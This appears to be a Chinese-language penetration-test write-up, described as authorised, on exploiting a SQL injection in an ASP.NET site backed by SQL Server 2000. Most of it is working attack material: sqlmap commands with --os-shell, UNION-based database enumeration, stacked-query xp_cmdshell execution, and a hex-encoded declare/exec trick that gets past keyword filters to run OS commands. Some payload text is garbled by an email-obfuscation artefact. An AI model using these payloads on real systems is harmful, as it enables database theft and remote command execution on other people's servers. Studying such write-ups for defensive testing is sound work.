应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉;
分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?
正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!
为了简化测试步骤,所以文章分为5次进行记录;
0x1 sqlmap常用语句测试
测试1目的:执行cmd命令
测试1结果,测试初期无法连接;
-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult. aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell 回显数据包【LOG】文件 --- Parameter:KeyWord(GET) Type:boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload:KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘ --- [00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server web server operating system:Windows2003or XP web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS:Microsoft SQL Server2000 [00:26:38][CRITICAL] unable to prompt for an interactive operating system shell via the back-end DBMS because stacked queries SQL injection isnot supported
测试2目的:执行获取数据库名;
测试2结果:获取成功,判断是某个关键字被过滤了。
-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult. aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs
回显数据包 【LOG】文件
--- Parameter: KeyWord (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘ --- web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: Microsoft SQL Server 2000 available databases [7]: [*] master [*] model [*] msdb [*] Northwind [*] pubs [*] tempdb [*] w**er
0x2 手工测试关键字过滤情况
测试3目的:获取数据库名
测试3结果:执行成功;
-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -
测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
测试4结果:无法连接服务器,返回404页面;
-----------------------------------------------------
;EXEC master..xp_cmdshell ‘net user‘-- -
测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了
-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,‘xp _shell’,3,4,5-- -
测试目标报出的错误;
“/”应用程序中的服务器错误。 在关键字‘And‘附近有语法错误。 说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。 异常详细信息:System.Exception:在关键字‘And‘附近有语法错误。
解决:尝试用declare设置十六进制绕过;
本地测试:
-------------------
declare @a sysname [email protected]= exec master.dbo.xp_cmdshell @a
本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:
SELECT TOP 2[id] ,[name] FROM [personnel].[dbo].[management];declare @a sysname [email protected]=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;
本地测试结果见tu1.jpg
测试结果:目标无回显,但执行写入文件的命令是成功了。
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -
留下旗标;